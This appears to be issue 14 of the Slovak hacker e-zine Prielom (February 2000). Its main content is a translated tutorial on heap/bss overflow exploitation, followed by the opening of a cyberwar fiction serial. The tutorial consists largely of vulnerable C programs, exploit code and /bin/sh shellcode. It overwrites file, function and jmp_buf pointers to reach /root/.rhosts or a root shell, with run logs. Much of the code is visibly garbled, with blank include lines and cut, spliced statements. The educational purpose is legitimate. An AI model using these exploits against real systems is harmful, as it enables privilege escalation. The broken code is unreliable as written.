::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   

    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  

     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     [[,[[[[, ,[[[[, 

      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 

      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o

      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM



   prielom #14, 29.02.00 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/

intro

heap/bss overflowy

velka kyberneticka vojna roku 2002 [dokoncenie]

.cz a .sk free mail servery

trojske kone v exploitoch

back orifice 2000 (show some control)

kybersaman [prva cast]

intro

otvoril som dvere a vysiel von pred chatu. nic, ziaden rozdiel. stale ten isty
clovek. iba zima sa mi zrazu zdala byt akasi ozajstnejsia ako cez okno. dalsie
cislo, nic viac. mnozstvo ludi bolo zrejme sklamanych a rozcarovanych. ziaden
koniec sveta, ziadna celosvetova katastrofa sposobena y2k bugom. iba dalsi zo
stupidnych zaciatkov kalendarneho roku podla gregorianskeho kalendara.

posledne dni tohto roku (zamerne nie tisicrocia, podla mna vsetko zacina cislom
1 a nie 0) som sa rozhodol stravit tak trochu mimo civilizacie. ani nie zo
strachu pred y2k, i ked dreva do krbu sme mali dost a petrolejky boli plne,(len
so zasobami potravin to bolo horsie) ale clovek obcas potrebuje vypnut a moje
rozhodnutie, ze aspon tyzden sa pocitaca nedotknem, sa mi podarilo zdarne
dotiahnut do konca. aj vdaka tomu, ze som sa uspesne vyhol navsteve martinskej
fakultnej nemocnice, sa mozete zacitat do dalsieho cisla prielomu.

ps. abba a beatles su vecni. bohuzial...

po miernom zdrzani sposobenym skuskovym obdobim a celkovou zaneprazdnenostou na
nas caka vycerpavajuci a rozsiahly uvod do heap/bss overflowov od wildera,
nasledovany iste uz netrpezlivo ocakavanou druhou (a poslednou) castou uryvku z
knihy velka kyberneticka vojna roku 2002. pozrieme sa trochu pod kozu
autentifikacnym systemom pouzivanych free mail servermi na slovensku a v cechach
(prilozeny aj exploit, v sucasnosti uz nepouzitelny ale ako nazorna ukazka
postacujuci). uz par krat sa objavili v roznych security-related mail konferenciach
exploity, ktore v skutocnosti neboli exploitmi ale trojskymi konmi. pozrieme sa ako
na ne a proti nim. pri trojskych konoch este zostaneme - caka nas recenzia na bo2k.
a na zaver trochu povodnej literarnej kyberpunkovej tvorby (na pokracovanie).

salo, 01.01.00 martinske hole, 29.02.00 zilina

heap/bss overflowy

uvod:

heap/bss zalozene overflowy su dost zvycajne v sucasnych aplikaciach, este
stale su ale len vynimocne zverejnovane. spravime si "heap overflow" tutorial.
v tomto clanku sa budeme odkazovat na "overflowy tykajuce sa stacku" ako
"stack-based overflowy" ("stack overflow" je zavadzajuce) a overflowy tykajuce
sa heap ako "heap-based overflowy". clanok by mal zabezpecit lepsie pochopenie
heap-based overflowov vyuzitim niekolkych metod exploitovania, prikladov a par
moznych rieseni. predpoklada sa vseobecne chapania pocitacovej architektury,
asembleru, c a stack overflowu. napisali sme vsetky priklady a exploity v tomto
clanku, ku vsetkym sa stahuje copyright.

preco su heap/bss overflowy tak dolezite

viacero systemovych predajcov pridava non-executable stack patche, alebo
individualne aplikuje vlastne patche (napr. solar designerov non-executable
stack patch), odlisna metoda prieniku je potrebna pre security konzultantov :))


uvedieme si par prikladov:

1. ked dame hladat slovo "heap" na bugtraqu, najdeme len 40 zhod, pokym
"stack" sa zhoduje v 2300 pripadoch. tiez "stack overflow" dava dva krat
viac zhod ako "heap"
2. solaris (os vyvinuty sun microsystems), ako solaris 2.6 sparc zahrnuje
"protect_stack" skript, ktory nie je ekvivalentny "protect_heap" skriptu
(hoci bss nie je executable).
3. existuje tiez "stackguard" (vyvinuty crispinom cowanom), ktory tiez
vlastnostami nezodpoveda "heapguardu"
4. pouzitie heap/bss-based overlowov je jedna z potencialnych metod na
vytocenie stackguardu.
5. niektori ludia v sucasnosti navrhuju ako riesenie vytvorenie "lokalneho"
bufra a "statickeho" bufra. nie je to velmi mudre, je to obycajne nespravna
predstava o tom, ako heap a bss pracuje.

hoci heap-based overflowy nie su nic nove, neboli doteraz dobre pochopene.
ludia robia vsetko preto, aby sa uchranili pred stack-based overflowmi, ale
nemyslia vobec na heap/bss. na viacerych systemoch, heap aj bss su vykonatelne
(executable) a zapisovatelne (writeable) [ skvela kombinacia ]. toto robi
heap/bss overflowy velmi pravdepodobne. neexistuje vsak pricina, preco by malo
byt bss vykonatelne. co sa bude spustat v nulami vyplnenej pamati?
pre vsetkych ludi od security, najviac heap-based overflowov su systemovo a
platformovo nezavisle, vratane non-executable heaps. vsetko to bude
demonstrovane v kapitole "exploitovanie heap/bss overflowov".

terminologia

vykonatelny subor, ako elf (executable and linking format) ma niekolko casti
v executable subore, ako je plt (procedure linking table), got (global offset
table), init (instrukcie vykonane pri inicializacii), fini (instrukcie, ktore
budu vykonane po skonceni), a ctors a dtors (obsahuje globalne
konstruktory/destruktory).

"pamat, ktora je dynamicky alokovana aplikaciou nazyvame heap."
slovo "aplikaciou" je velmi dolezite, pretoze na dobrych systemoch najviac
oblasti je v skutocnosti alokovane na urovni kernelu, pokym pri heap je
alokovanie vyziadane aplikaciou.

heap a data/bss sekcie

heap je teda oblast v pamati, ktora je dynamicky alokovana aplikaciou. data
sekcia je inicializovana v case kompilacie. bss sekcia obsahuje neinicializovane
data a je alokovana pocas behu. pokym sa tam nieco nezapise, zostava to
vynulovane (teda aspon z pohladu aplikacie). ked sa budeme v kapitole nizsie
odkazovat na "heap-based oveflowy", myslime tym sucasne heap/bss sekcie.
na vacsine systemoch, heap rastie hore (smerom k vyssim adresam). preto, ked
poviem, ze x je pod y, znamena to, ze x je v pamati nizsie ako y.

exploitovanie heap/bss overflowov

v tejto kapitole si ukazeme niekolko odlisnych metod na mozne vyuzitie heap/bss
overflowov. najviac prikladov je pre unixove x86 systemy, tiez to pobezi pod
dosom a windozami (s mensimi obmenami). tiez sme obsiahli niekolko dos/windows
specifickych exploitovacich metod.

v tomto clanku pouzivame "exact offset" pristup. offset musi byt najblizsie
aproximovany k jeho skutocnej hodnote. alternativou je "stack-based overflow
pristup", kedy sa opakuju adresy na zvysenie pravdepodobnosti uspesnosti
exploitu.

nasledujuci priklad moze vyzerat zbytocny, predkladame ho len pre tych, ktori
nie su oboznameni s heap-based overflowmi. takze kratka ukazka:

   /* demonstrates dynamic overflow in heap (initialized data) */



   #include 

   #include 

   #include 

   #include 



   #define bufsize 16

   #define oversize 8 /* overflow buf2 by oversize bytes */



   int main()

   {

      u_long diff;

      char *buf1 = (char *)malloc(bufsize), *buf2 = (char *)malloc(bufsize);



      diff = (u_long)buf2 - (u_long)buf1;

      printf("buf1 = %p, buf2 = %p, diff = 0x%x bytesn", buf1, buf2, diff);



      memset(buf2, 'a', bufsize-1), buf2[bufsize-1] = '';



      printf("before overflow: buf2 = %sn", buf2);

      memset(buf1, 'b', (u_int)(diff + oversize));

      printf("after overflow: buf2 = %sn", buf2);



      return 0;

   }

   [root /w00w00/heap/examples/basic]# ./heap1 8

   buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes

   before overflow: buf2 = aaaaaaaaaaaaaaa

   after overflow: buf2 = bbbbbbbbaaaaaaa

mozny fix pre heap-based overflowy (ktore budu spomenute neskor) je vlozit
urcite hodnoty medzi vsetky premenne v heap oblasti (ako to robi stackguard
spomenuty neskor), ktore nesmu byt zmenene pocas vykonania (execution).
kompletny zdrojak so vsetkymi prikladmi pouzitych v tomto clanku je pristupny
v archive clankov na http://www.w00w00.org/articles.html.

na demonstrovanie bss-based overflowu, zmenime riadok:

z: 'char *buf = malloc(bufsize)', na: 'static char buf[bufsize]'

bol to velmi jednoduchy priklad, pretoze sme chceli demonstrovat heap overflow
na najnizsom moznom stupni. to je zaklad takm vsetkych heap-based overflowov.
mozeme to pouzit pri prepisani nazvu suboru, hesla, ulozeneho uid a tak dalej.
tu je (stale jednoduchy) priklad s manipulaciou pointrami:

   /* demonstrates static pointer overflow in bss (uninitialized data) */



   #include 

   #include 

   #include 

   #include 

   #include 



   #define bufsize 16

   #define addrlen 4 /* # of bytes in an address */



   int main()

   {

      u_long diff;

      static char buf[bufsize], *bufptr;



      bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;



      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",

             &bufptr, bufptr, buf, diff, diff);



      memset(buf, 'a', (u_int)(diff + addrlen));



      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",

             &bufptr, bufptr, buf, diff, diff);



      return 0;

   }

vysledky:

   [root /w00w00/heap/examples/basic]# ./heap3

   bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes

   bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes

po spusteni jasne vidime, ze pointer teraz ukazuje na odlisnu adresu. pouzitim
coho? dalsi priklad je ukazkou toho, kedy mozeme prepisat docasne ulozeny
pointer na nazov suboru na ukazovatel na uplne odlisny retazec (napr. argv[1]),
co mozeme zabezpecit), pricom nas retazec moze obsahovat "/root/.rhosts".
konecne vidime nejake mozne (vy/zne)uzitie.

na demonstrovanie pouzijeme docasny subor na okamih ulozeny zo vstupu uzivatela.
toto je nas dokonceny "vulnerable" program:

   /*

    * this is a typical vulnerable program.  it will store user input in a

    * temporary file.

    *

    * compile as: gcc -o vulprog1 vulprog1.c

    */



   #include 

   #include 

   #include 

   #include 

   #include 



   #define error -1

   #define bufsize 16



   /*

    * run this vulprog as root or change the "vulfile" to something else.

    * otherwise, even if the exploit works, it won't have permission to

    * overwrite /root/.rhosts (the default "example").

    */



   int main(int argc, char **argv)

   {

      file *tmpfd;

      static char buf[bufsize], *tmpfile;



      if (argc  (i * 8) & 255);



      mainbufsize = strlen(buf) + strlen(vulprog) +

                    strlen(vulprog) + strlen(vulfile) + 13;



      mainbuf = (char *)malloc(mainbufsize);

      memset(mainbuf, 0, sizeof(mainbuf));



      snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %sn",

               buf, vulprog, vulfile);



      printf("overflowing tmpaddr to point to %p, check %s after.nn",

             addr, vulfile);



      system(mainbuf);

      return 0;

   }

vysledok po spusteni:

   [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330 (428)

   overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.



   before: tmpfile = /tmp/vulprog.tmp

   enter one line of data to put in /tmp/vulprog.tmp:

   after: tmpfile = /root/.rhosts

potrebujeme spravnu adresu (argv[1]), obratime poradie bajtikov pre little
endian systemy. little endian systemy pouzivaju najmenej vyznamny bajt ako prvy
(x86 je little endian), teda 0x123456 je ulozeny v pamati ako 0x563412. ak to
robime na big endian systemoch (ako sparc) tak sa na obratenie poradia bajtikov
mozeme vykaslat. zatial ziadny z tychto prikladov nevyzadoval vykonatelny heap!
ako sme spomenuli v casti "preco su heap/bss overflowy tak dolezite",
predchadzajuce priklady boli (az na vynimku s poradim adresovych bajtov)
systemovo/platformovo nezavisle. dost uzitocne pri exploitovani heap-based
overflowov.

so znalostou ako prepisovat pointre, ideme si ukazat ako modifikovat pointre
funkcii. na exploitovanie pointerov funkcii vyzadujeme vykonatelny heap. pointer
na funkciu (napr. "int (*funcptr)(char *str)") povoluje programatorom dynamicky
modifikovat funkciu, ktora bude volana. pointer na funkciu mozeme prepisat
prepisanim jeho adresy, teda po prepisani sa zavola funkcia, ktorej pointer tam
nastavime. pred vsetkym najskor vlozime nas shellcode. to mozme urobit
nasledovne:

1. argv[] metodou: ulozime shellcode ako argument programu (to vyzaduje
executable stack)
2. heap offsetovou metodou: offsetom z vrcholu heapu na predpokladanu adresu
cieloveho/overflow bufra (vyzaduje executable heap)

je vacsia pravdepodobnost, ze heap bude vykonatelny (executable) na danom
systeme ako napriklad stack. teda heap metoda pobezi pravdepodobne castejsie.
druha metoda je jednoducho uhadnut (to je dost neefektivne) adresu funkcie
pouzitim predpokladaneho offsetu vo vulnerable programu. tiez, ak pozname adresu
system() v nasom programe, bude pravdepodobne na velmi blizkom offsete v
exploite, teda ak predpokladame, ze vulprog/exploit boli skompilovani zhruba
rovnakym sposobom. vyhoda je, ze nic vykonatelne nie je nutne.

dalsia metoda je pouzit plt (procedure linking table), ktora obsahuje adresy
funkcii v plt. druhu metodu uprednostnime hlavne koli jednoduchosti. mozeme
uhadnut offset volania system() vo vulprog z adresy system() v nasom exploite
celkom rychlo. obdobne je to vo vzdialenych systemoch (predpokladame rovnake
verzie, operacne systemy, platformy). s metodou stacku mame tu vyhodu, ze
prakticky mozme urobit, co chceme, teda nevyzadujeme kompatibilne pointre na
funkcie (napr. char (*funcptr)(int a) a void (*funcptr)() pobezi rovnako).
nevyhoda stackovej metody je ze vyzadujeme executable stack.

nas vulnerable program pre nase 2 exploity:

   /*

    * just the vulnerable program we will exploit.

    * compile as: gcc -o vulprog vulprog.c (or change exploit macros)

    */



   #include 

   #include 

   #include 

   #include 



   #define error -1

   #define bufsize 64



   int goodfunc(const char *str); /* funcptr starts out as this */



   int main(int argc, char **argv)

   {

      static char buf[bufsize];

      static int (*funcptr)(const char *str);



      if (argc  (i * 8)) & 255;



      execl(vulprog, vulprog, buf, cmd, null);

      return 0;

   }

   [root /w00w00/heap/examples]# ./exploit1 16

   trying system() at 0x80484d0

   (for 1st exploit) system() = 0x80484d0

   (for 2nd exploit, stack method) argv[2] = 0xbffffd3c

   (for 2nd exploit, heap offset method) buf = 0x804a9a8



   before overflow: funcptr points to 0x8048770

   after overflow: funcptr points to 0x80484d0

   bash#

   /*

    * copyright (c) january 1999, matt conover & wsd

    *

    * this demonstrates how to exploit a static buffer to point the

    * function pointer at argv[] to execute shellcode.  this requires

    * an executable heap to succeed.

    *

    * the exploit takes two argumenst (the offset and "heap"/"stack").

    * for argv[] method, it's an estimated offset to argv[2] from

    * the stack top.  for the heap offset method, it's an estimated offset

    * to the target/overflow buffer from the heap top.

    *

    * try values somewhere between 325-345 for argv[] method, and 420-450

    * for heap.

    *

    * to compile use: gcc -o exploit2 exploit2.c

    */



   #include 

   #include 

   #include 

   #include 



   #define error -1

   #define bufsize 64 /* estimated diff between buf/funcptr */



   #define vulprog "./vulprog" /* where the vulprog is */







   char shellcode[] = /* just aleph1's old shellcode (linux x86) */

     "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"

     "x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"

     "x40xcdx80xe8xdcxffxffxff/bin/sh";



   u_long getesp()

   {

      __asm__("movl %esp,%eax"); /* set sp as return value */

   }



   int main(int argc, char **argv)

   {

      register int i;

      u_long sysaddr;

      char buf[bufsize + sizeof(u_long) + 1];



      if (argc > (i * 8)) & 255;



      execl(vulprog, vulprog, buf, shellcode, null);

      return 0;

   }

   [root /w00w00/heap/examples] ./exploit2 334 stack

   using stack for shellcode (requires exec. stack)

   using 0xbffffd16 as our argv[1] address



   (for 1st exploit) system() = 0x80484d0

   (for 2nd exploit, stack method) argv[2] = 0xbffffd16

   (for 2nd exploit, heap offset method) buf = 0x804a9a8



   before overflow: funcptr points to 0x8048770

   after overflow: funcptr points to 0xbffffd16

   bash#

   [root /w00w00/heap/examples] ./exploit2 428 heap

   using heap buffer for shellcode (requires exec. heap)

   using 0x804a9a8 as our buffer's address



   (for 1st exploit) system() = 0x80484d0

   (for 2nd exploit, stack method) argv[2] = 0xbffffd16

   (for 2nd exploit, heap offset method) buf = 0x804a9a8



   before overflow: funcptr points to 0x8048770

   after overflow: funcptr points to 0x804a9a8

   bash#

dalsia vyhoda heap metody je, ze mame sirsi adresovy rozsah. s argv[] (stack)
metodou, musime byt presni. s heap offsetovou metodou, hocijaky offset s 428-442
by mal ist. ako vidime, existuje niekolko odlisnych metod na exploitovanie
jednej veci. ako pridavny bonus, si prilozime finalny typ exploitovania, ktory
pouziva jmp_bufs (setjmp/longjmp). jmp_buf sa normalne uklada do stacku a neskor
sa na to skace (pocas vykonania). ak mame moznost overflownut buffer medzi
setjmp() a longjmp(), ktory je nad overflowujucim buffrom, tak existuje moznost
exploitovania. mozeme nastavit emulaciu spravania stack-based overflowu (ako to
robi argv[] shellcode metoda spomenuta skor). nasledujuci priklad (s jmp_buf) je
pre x86 systemy. je to nutne prislusne zmenit pre ostatne platformy.

najskor nas vulnerable program:

   /*

    * this is just a basic vulnerable program to demonstrate

    * how to overwrite/modify jmp_buf's to modify the course of

    * execution.

    */



   #include 

   #include 

   #include 

   #include 

   #include 



   #define error -1

   #define bufsize 16



   static char buf[bufsize];

   jmp_buf jmpbuf;



   u_long getesp()

   {

   __asm__("movl %esp,%eax"); /* the return value goes in %eax */

   }   int main(int argc, char **argv)

   {

      if (argc  0, we got here from longjmp() */

      {

         fprintf(stderr, "error: exploit didn't workn");

         exit(error);

      }

/* v glibc 2.x.x je nutne pristupovat cez jmpbuf[jb_?x] k jednotlivym registrom  jednotlive polozky __bx, __si, __di su totiz nezname 

      printf("before:n");

      printf("bx = 0x%lx, si = 0x%lx, di = 0x%lxn",

             jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);



      printf("bp = %p, sp = %p, pc = %pnn",

             jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc); */



     strncpy(buf, argv[1], strlen(argv[1])); /* actual copy here */



/* 

      printf("after:n");

      printf("bx = 0x%lx, si = 0x%lx, di = 0x%lxn",

             jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);



      printf("bp = %p, sp = %p, pc = %pnn",

             jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);

*/

      longjmp(jmpbuf, 1);

      return 0;

   }

   /*

    * copyright (c) january 1999, matt conover & wsd

    *

    * demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)

    * to emulate a stack-based overflow in the heap.  by that i mean,

    * you would overflow the sp/pc of the jmpbuf.  when longjmp() is

    * called, it will execute the next instruction at that address.

    * therefore, we can stick shellcode at this address (as the data/heap

    * section on most systems is executable), and it will be executed.

    *

    * this takes two arguments (offsets):

    *   arg 1 - stack offset (should be about 25-45).

    *   arg 2 - argv offset (should be about 310-330).

    */



   #include 

   #include 

   #include 

   #include 



   #define error -1

   #define bufsize 16



   #define vulprog "./vulprog4"



   char shellcode[] = /* just aleph1's old shellcode (linux x86) */

      "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"

      "x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"

      "x40xcdx80xe8xdcxffxffxff/bin/sh";

   u_long getesp()

   {

      __asm__("movl %esp,%eax"); /* the return value goes in %eax */

   }



   int main(int argc, char **argv)

   {

      int stackaddr, argvaddr;

      register int index, i, j;



      char buf[bufsize + 24 + 1];



      if (argc > (i * 8)) & 255;

      }



      /* ----------------------------- */



      for (i = 0; i < sizeof(u_long); i++) /* setup sp */

      {

         index = bufsize + 20 + i;

         buf[index] = (stackaddr >> (i * 8)) & 255;

      }





     /* ----------------------------- */



      for (i = 0; i < sizeof(u_long); i++) /* setup pc */

      {

         index = bufsize + 24 + i;

         buf[index] = (argvaddr >> (i * 8)) & 255;

      }



      execl(vulprog, vulprog, buf, shellcode, null);

      return 0;

   }

   [root /w00w00/heap/examples/vulpkgs/vulpkg4]# ./exploit4 36 322

   trying address 0xbffffcf6 for argv[2]

   trying address 0xbffffb90 for sp



   [vulprog] argv[2] = 0xbffffcf6

   [vulprog] sp = 0xbffffb90



   before:

   bx = 0x0, si = 0x40001fb0, di = 0x4000000f

   bp = 0xbffffb98, sp = 0xbffffb94, pc = 0x8048715



   after:

   bx = 0x1010101, si = 0x1010101, di = 0x1010101

   bp = 0xbffffb90, sp = 0xbffffb90, pc = 0xbffffcf6



   bash#

   funkcia:			      pricina:

   1. *gets()/*printf(), *scanf()     __iob (file) structure in heap

   2. popen()                         __iob (file) structure in heap

   3. *dir() (readdir, seekdir, ...)  dir entries (dir/heap buffers)

   4. atexit()                        static/global function pointers

   5. strdup()                        allocates dynamic data in the heap

   7. getenv()                        stored data on heap

   8. tmpnam()                        stored data on heap

   9. malloc()                        chain pointers

   10. rpc callback functions         function pointers

   11. windows callback functions     func pointers kept on heap

   12. signal handler pointers        function pointers (note: unix tracks

       in cygnus (gcc for win),       these in the kernel, not in the heap)

predvedieme si prepisanie windows navratovych funkcii a prepisanie file (__iob)
struktur (s popen). ked vieme ako prepisovat file struktury s popen(), dokazeme
si celkom rychlo predstavit, ako to robit s inymi funkciami (napr. *printf,
*gets, *scanf, atd), tak dobre, ako aj s dir strukturami (pretoze su velmi
podobne).

heap-based overflow sa dal vyuzit v bsdi crontabe po zadani dlheho nazvu suboru,
ktore overflowol staticky buffer. nad buffrom v pamati sme mali pwd strukturu!
teda ulozeny username, password, uid, gid atd. prepisanim uid/gid polozky v pw,
sme mohli nastavit privilegia s ktorymi crondaemon pustil nas crontab. nas
script (v crontabe) mohol hodit suid root shell (fantazii sa medze nekladu),
pretoze to cele frcalo pod uid/gid 0.

tiez bolo mozne ziskat roota, potom ako sme exploitli heap overflowom uucp
privilegia prepisanim statickeho buffra pri zadavani nazvu subor na
send/receive.

mozna ochrana:

samozrejme, najlepsia ochrana pred heap-based overflowmi je pisat v prvom rade
dobry kod. podobne ako pred stack-based overflowmi, zatial neexistuje nejaky
realny sposob na prevenciu heap-based overflowov. existuje speci soft na
kontrolovanie hranic (na detekciu najcastejsich moznych heap-based overflowov)
pre gcc/egcs vyvinuty richardom jonesom a paulom kelly
(http://www.annexia.demon.co.uk). detekuje pretecenie zapricinene ludskym
faktorom. pre windozy existuje numega bounds'checker, ktory robi zhruba rovnaku
kontrolu hranic ako bounds checking pri gcc. stale mozeme vytvorit
non-executable heap patch (ale ako sme spominali na zaciatku vacsina systemov
ma executable heap). solar designer spomenul, ze hlavne problemy s
non-executable sa bude tykat compilerov, interpreterov atd.
k non-executable heap patchu treba dodat, ze jedine, co zabezpeci je, ze
nemozeme vykonavat instrukcie v heapu, vonkoncom to nie je ochrana proti
prepisovania dat (pointerov) v heape [ heheh. to sa bude dat este pekne dlho ;-)]
existuje moznost vytvorit heapguard, ktory bude ekvivalentny cowanovmu
stackguardu (ktory sme uz spominali). jeho funkciou je zabranit prepisovaniu
navratovych adries (na stacku) nejakym exploitom. vobec nezabranuje heap/bss
overflowom. mozno niekedy v buducnosti sa niecoho dockame...

odkazy:

solar designer: superprobe exploit (pointre funkcii), color_xterm

exploit (pointre struktur), website (pointre poli), etc.

l0pht: internet explorer 4.01 vulnerablity (dildog), bsdi crontab

exploit (mudge), etc.

joe zbiciak/adam morisson

matt conover (a.k.a. shok) & w00w00 security team,

preklad a uprava: wilder, wilder(at)hq.alert.sk

navrat na obsah

velka kyberneticka vojna roku 2002 [dokoncenie]

24 jul, 21:42 edt

to bol den! tu je to, co sa stalo, vacsinu z toho dnes v spravach nenajdete, ak
vobec niekedy.

operacie triphammer a javelin - v kolumbii a spratly - zacali dnes skoro rano,
pol zemegule vzdialene ale takmer sucasne.

zhrnutie, ktore som si narychlo pozrel, ukazuje, ze obe americke utocne jednotky
boli velke "baliky", ktore potrebuju velku transportnu a bojovu podporu, co
znamena, ze bolo lahke ich zbadat, ako sa presuvaju k utoku. vlastne to vyzera,
ako keby jedna z jednotiek bola uplne ocakavana. jednotka triphammer nasla len
opustenu operacnu bazu - avsak az potom, co sa prebojovala cez automaticky
ovladany gulomet a obranny system. (napada ma myslienka - kto to vsetko plati?)
ked rangeri dosiahli riadiace centrum, cele zariadenie bolo dialkovo odpalene,
kopa mrtvych. kolumbijska vlada protestovala proti vpadu. senator trumball
povedal:

"viete co? kolumbijska kokainova vlada mi moze pobozkat moju rebelsku rit."

a vacsina krajiny s vyhlasenim suhlasila - ta ista vacsina, ktora by este pred
rokom tento prejav odsudila ako nechutny.

druha utocna jednotka na ceste k zakladni spratly bola v obojzivelnom vozidle
privitana dialkovo ovladanou minou, ktora im vybuchla priamo pri kyle, cim lod
zlomila napoly. operacia javelin pokracovala dalej s tromi helikopterami plnymi
marinakov, ktori zautocili na pobrezie. tentokrat nasli obsadene operacne
kontrolne centrum a po kratkej ale prudkej prestrelke, pri ktorej zabili 20
obrancov stanovista, zajali 4 vaznov a par kusov vybavenia, ktore nebolo znicene
pocas stretu. dufam, ze tyto manici neboli len pasca.

kde je laurie?

25 jul 15:39 edt

prezidentka zase prehovorila k narodu, tentokrat oplakavala stratu mnozstva
rangerov a marinakov. tiez spomenula velku odplatu, ktoru utocnici zaziju v
nasledujucich dnoch. asi takto:

"opat raz je amerika ochranovana svojimi odvaznymi bojovnikmi. a s bozou volou
budu pokracovat, az do nasho vitazstva. pretoze nasi nepriatelia bojuju
len z temneho pritmia, musia nakoniec tuto vojnu prehrat - zmiznu z povrchu
zemskeho..."

hocaka uzasna je prezidentkina vyrecnost, nemoze to vsak zmenit fakt, ze jej
rating klesol na 12 percent. je na tom horsie ako nixon pocas afery watergate.
jedna dobra vec: zda sa, ze jednotky nenasli nic co by ukazovalo na cinanov.

najdramatickejsou udalostou dna vsak bolo dorucenie videopasky v kabule, ktora
bola posunuta bezmennym poulicnym chuliganom christiane amanpourovej zo cnn, ked
robila reportaz z afghanistanu.

bola to nahrata sprava od "talusa", ktory sam seba nazvlal hovorcom pfw. aj ked
taulus bol az prilis ukecany, bolo jasne o co ide:

"pfw su oslabeni stratou svojich hrdinov, ale ich krv moze len posvetit nas
zamer. posledny utok zacne hned ako sa nase sily, ktore su pocetne ako zrnka
piesku v pusti, spoja, aby zasadili posledny uder"

vsetko vyzera autenticky. v sprave cia pre excomm je uvedene, ze paska bola
nahrata v kabule toho dna z inej pasky ktora bola prehrata cez mobilny telefon.
kabul! aspon vieme s kym mame do cinenia...

analyza talusovho hlasu ukazala, ze je generovany pocitacom pomocou popularneho
freewaroveho programu.

zap! uvadza, ze hackerske zdroje "s urcitostou" potvrdili, ze nejaku ucast v pfw
maju aj rusi. moj pohlad na vec je, ze hackerske zdroje malokedy vedia nieco
urcite. v tomto nazore sa connie a ja rozchadzame. specificke tvrdenie bolo, ze
rusi pouzivali cali kartel ako clonu, ktora im mala zabezpecit krytie. oficialne
vyhlasenie americkej vlady via nyt:

"dokazy spajajuce rusko s cybervojnou su len nepriame a su bezvyznamne proti
opakovanym ponukam spoluprace v boji proti pfw z ruskej strany."

ale tak isto mozme byt pred tretou svetovou vojnou...doriti...

tiez na zape!:

"online nation vyhlasili, ze pfw je pokus vladnych spionaznych agentur ich
zdiskreditovat. za posledne dva roky stupenci online nation tvrdo bojovali za
uznanie statutu naroda v kyberpriestore."

statut zahrna danovu ulavu od platby americkej dane z prijmu, pretoze ako tvrdia
"zijeme prevazne v kyberpriestore". je fakt, ze online-aci nemaju v sucasnosti
pred nicim respekt.

27 jul, 07:36 edt

analyza dat priniesla bohate dokazy o tom, ze rusko a cina boli zapletene - ak
priamo nestali za - do utokov a pouzili tak cali kartel ako i azijske kriminalne
organizacie iba ako krytie. nakoniec teda cina! informacie ziskane od zajatcov
zo spratly, vsetko malajzijci cinskeho povodu, suhlasia s vysledkami nasej
analyzy.

naokolo sa povrava, ze zajatci zo spratly boli podrobeni najpokrocilejsim
vypocuvacim technikam. pekny sposob, ako povedat, ze im usmazili mozgy
vselijakymi drogami a bohviecim este. prehlasenia, ktore urobili, potvrdili, ze
bojujeme proti cinsko-ruskemu konzorciu. genaral vreeland navrol to, co sa
vsetci bali co i len vyslovit. nuklearny utok proti jednej vybranej sovietskej
zakladni ako varovanie - potom padnu k zemi, nemaju dostatok jadrovych zbrani,
aby mohli utok opetovat, tvrdil. mckay a ja sme na neho zdesne hladeli - este
viac nas sokovalo, ze ostatni tento jeho navrh zobrali vazne.

nastastie prezidentka s odporom vzdychla a povedala:

"hladas sud pusneho prachu na hasenie cigariet, vreeland?"

"pozrite, nakopme ich do riti za tu facku do tvare" zahlasil mckay "ale urobime
to jackovou metodou."

vsetci na mna upreli svoje pohlady. sef nsa so zuzenymy ocami. stale mi
nedoverovali a jedine prezidentkina neoblomnost ma udrzala v hre.

"mozme na kybervojnu odpovedat kybervojnou" povedal som.

prezidentka k tomu znepokojene dodala:

"mozno. ale to moze byt tak isto provokativne ako jadrova bomba."

zacala rozpravat o sankciach a ja som si iba rezignovane povzdychol. ale mckay
a ja sme sa rozhodli pracovat na kontingencnom plane kybervojny a ministri
vnutra a obrany nas v tom podporili.

27 jul, 11:17 edt

prisiel email:

"prezidentka schvalila plan excommu, navzdory tomu, ze cina a rusko nadalej
odmietali ucast na utokoch proti spojenym statom."

zatial sa americania loguju na siet, komunikuju s ruskymi a cinskymi obyvatelmi
siete cez email a s ostatnymi cez fax. snazia sa ich presvedcit, aby bojovali
proti studenej vojne, ktoru sa snazia viest ich vlady. uvidime, ci je internet
tak mocny.

pre mna bolo uzasne ako sa vojsko spolieha na udaje zo zap! sajtov. ako som
spomenul, maju vzdy najlepsie informacie ako prvi. zvycajne vojenska rozviedka
len potvrdi fakty. maju 25 surferov zamestnanych na plny uvazok, ktori citaju
vsetky sajty.

bol som na polceste do vypoctoveho strediska, ked som zazrel ministerku vnutra
(clenku excommu) ako s cervena v tvari reve na nejakeho podriadeneho, ze
myslienka obcanov pokusajucich sa ukoncit vojnu moze len "vystupnovat uz
existujucu krizu, ktora potrebuje uz len male stuchnutie aby prerastla do
nuklearnej vojny".

tuzil som jej povedat, ze jej reci stoja za hovno ale nemalo by to vyznam. ona
ani vlada nema ziadnu realnu moc nad sietou - a to je sila siete.

27 jul, 13:45 edt

